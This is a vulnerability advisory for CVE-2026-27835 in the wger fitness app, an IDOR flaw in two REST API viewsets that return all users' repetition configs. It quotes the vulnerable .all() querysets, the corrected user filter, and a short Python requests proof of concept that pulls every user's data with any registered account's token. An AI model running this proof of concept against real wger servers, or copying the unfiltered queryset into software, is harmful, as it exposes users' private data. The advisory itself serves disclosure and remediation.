CVE-2026-27835: wger: IDOR in RepetitionsConfig and MaxRepetitionsConfig API leak other users' workout data
Summary RepetitionsConfigViewSet and MaxRepetitionsConfigViewSet return all users' repetition config data because their getqueryset() calls .all() instead of filtering by the authenticated user. Any registered user can enumerate every other user's workout structure. Details wger/manager/api/views.py:499 and :518: Every sibling viewset in the same file correctly filters by user.
Published Feb 26, 2026 · Updated Feb 27, 2026
Affected packages
wger
- Ecosystem
- PyPI
- Affected
- <= 2.1
- Fixed in
- No patched version yet
- Check
pip show wger
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
RepetitionsConfigViewSet and MaxRepetitionsConfigViewSet return all users' repetition config data because their get_queryset() calls .all() instead of filtering by the authenticated user. Any registered user can enumerate every other user's workout structure.
Details
wger/manager/api/views.py:499 and :518:
# VULNERABLE
class RepetitionsConfigViewSet(viewsets.ModelViewSet):
def get_queryset(self):
return RepetitionsConfig.objects.all()
class MaxRepetitionsConfigViewSet(viewsets.ModelViewSet):
def get_queryset(self):
return MaxRepetitionsConfig.objects.all()Every sibling viewset in the same file correctly filters by user. For example, WeightConfigViewSet at line 459:
# CORRECT — how it should work
def get_queryset(self):
return WeightConfig.objects.filter(
slot_entry__slot__day__routine__user=self.request.user
)The same user filter is present on SetsConfig, RestConfig, RiRConfig, and their Max variants — only RepetitionsConfig and MaxRepetitionsConfig are missing it.
PoC
import requests
BASE = "http://localhost"
headers = {"Authorization": "Token YOUR_TOKEN"} # any registered user
r = requests.get(f"{BASE}/api/v2/repetitions-config/", headers=headers)
print(r.json()) # returns ALL users' repetition configs, not just your own
r = requests.get(f"{BASE}/api/v2/max-repetitions-config/", headers=headers)
print(r.json()) # same — all users' max repetition configsRegistration is open by default. Sequential IDs allow full enumeration.
Impact
Any authenticated user can read other users' repetition and max-repetitions configs, exposing workout structure (slot entry IDs, iteration values, operations, step counts, repeat flags, requirements JSON). This is a broken object-level authorization (BOLA/IDOR) vulnerability — the same class of issue as OWASP API1.
Fix: Add the same user filter used by every other config viewset:
def get_queryset(self):
return RepetitionsConfig.objects.filter(
slot_entry__slot__day__routine__user=self.request.user
)Credited to ByamB4.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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